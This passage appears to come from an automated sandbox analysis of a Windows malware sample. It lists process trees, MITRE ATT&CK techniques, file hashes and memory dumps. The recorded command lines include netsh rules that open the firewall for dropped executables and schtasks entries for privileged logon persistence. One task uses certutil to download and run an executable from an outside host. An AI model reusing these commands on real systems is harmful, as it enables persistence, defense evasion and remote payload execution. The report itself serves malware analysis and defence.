      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2264
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\86ddda386cc8\86ddda386cc8\86ddda386cc8.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4528
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\86ddda386cc8\86ddda386cc8\86ddda386cc8.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4712
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2708
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        6⤵
        Executes dropped EXE
        Manipulates WinMonFS driver.
        System Location Discovery: System Language Discovery
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:956
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1136
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        7⤵
        Executes dropped EXE
        
        PID:3628
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.6MB

MD5
3250ddce2dbf5a36ae50744e6632f945

SHA1
2e4e648fb1a583fe3d26ded76d017507e6cb1576

SHA256
886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9

SHA512
ba1a82ced81d6ca0ee5b8d875ba6bd4d3933466acfd0463c53201cd749455940dcbc4db55adfbbf3d3945628af6511dedf8f1062b57078bc01d7c786ddef2060

Download Submit
memory/956-57-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-69-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-60-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-59-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-58-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-62-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-47-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-56-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-61-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-45-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-52-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-50-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-68-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-66-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-65-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-51-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-64-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-48-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-49-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-63-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-46-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/956-44-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-12-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-6-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-10-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-9-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-13-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-3-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-8-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-5-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-7-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1780-11-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-24-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-38-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-27-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-23-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-25-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4360-26-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/5100-1-0x0000000003780000-0x0000000003AFF000-memory.dmp

Filesize
3.5MB

Download
memory/5100-2-0x0000000003B00000-0x0000000003E6E000-memory.dmp

Filesize
3.4MB

Download